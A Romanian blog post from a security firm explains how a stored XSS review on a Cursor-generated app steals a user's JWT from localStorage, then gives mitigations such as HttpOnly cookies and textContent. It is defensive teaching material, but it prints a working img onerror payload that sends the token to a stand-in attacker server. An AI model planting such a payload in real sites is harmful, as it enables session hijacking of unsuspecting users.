Guarded API

Toate articolele
guwapitest de penetrareIA

Cum ți se fură tokenul fără să știi — XSS în aplicații făcute cu AI

3 min citire

Dacă ai construit o aplicație cu Cursor, ChatGPT sau orice alt tool AI — există șanse mari ca tokenul tău de autentificare să fie expus fără să știi.

În acest articol îți arăt exact cum funcționează un atac Stored XSS pe o aplicație generată de AI, de ce este posibil, și ce poți face să îl previi.

Ce este un JWT și de ce contează unde îl stochezi

După ce te autentifici pe un site, serverul îți trimite un JWT — un token care dovedește că ești logat. Aplicația ta trebuie să îl stocheze undeva în browser ca să îl folosească la requesturile următoare.

Există două opțiuni principale: localStorage sau HttpOnly cookie.

Cursor, în mod implicit, alege localStorage. E simplu de implementat, funcționează imediat. Problema e că orice script JavaScript din pagină poate citi localStorage. Orice.

Ce este Stored XSS

XSS — Cross-Site Scripting — este o vulnerabilitate prin care un atacator reușește să injecteze cod JavaScript în pagina ta. Când un alt utilizator deschide acea pagină, codul rulează în browserul lui.

Stored XSS înseamnă că payload-ul malițios este salvat în baza de date — de exemplu ca un review sau comentariu — și rulează automat pentru oricine vizitează pagina respectivă.

Demonstrația live

Am construit o aplicație cu Cursor: login, secțiune de reviews, conectată la Supabase, deployată pe Vercel. Cursor a generat tot codul fără nicio instrucțiune de securitate.

Apoi am creat un cont nou — contul atacatorului — și în loc de un review normal am scris:

<img src=x onerror="fetch('https://server-atacator.com/steal?token='+encodeURIComponent(localStorage.getItem('authToken')))"> Browserul încearcă să încarce imaginea. Sursa nu există. Se declanșează evenimentul onerror. Codul JavaScript rulează imediat în browserul oricui deschide pagina de reviews.

Rezultat: tokenul JWT al victimei ajunge pe serverul atacatorului. Fără ca victima să apese ceva. Fără să știe că s-a întâmplat ceva.

De ce a funcționat

Cursor a afișat reviews-urile folosind innerHTML — care interpretează HTML brut în loc să îl trateze ca text. Și a stocat tokenul în localStorage — accesibil oricărui script din pagină.

Două decizii tehnice, luate automat de AI, fără să fie întrebat.

Cum se previne

Prima decizie: stochează tokenul în HttpOnly cookie, nu în localStorage. JavaScript nu poate citi HttpOnly cookies deloc — atacul devine imposibil chiar dacă XSS-ul există.

A doua decizie: sanitizează input-ul utilizatorilor înainte să îl afișezi. În React, folosești {review.text} nu dangerouslySetInnerHTML. În vanilla JS, folosești textContent nu innerHTML.

Concluzie

Aplicațiile construite cu AI funcționează. Dar AI-ul optimizează pentru viteză, nu pentru securitate. Ia decizii implicite pe care tu poate nu le-ai observat niciodată.

La guwAPI verificăm ce a generat AI-ul înainte să ajungă în producție. Dacă vrei să știi ce e în aplicația ta, scrie-ne la stefan@guwapi.com.

Reacții

Alege una — o reacție per browser.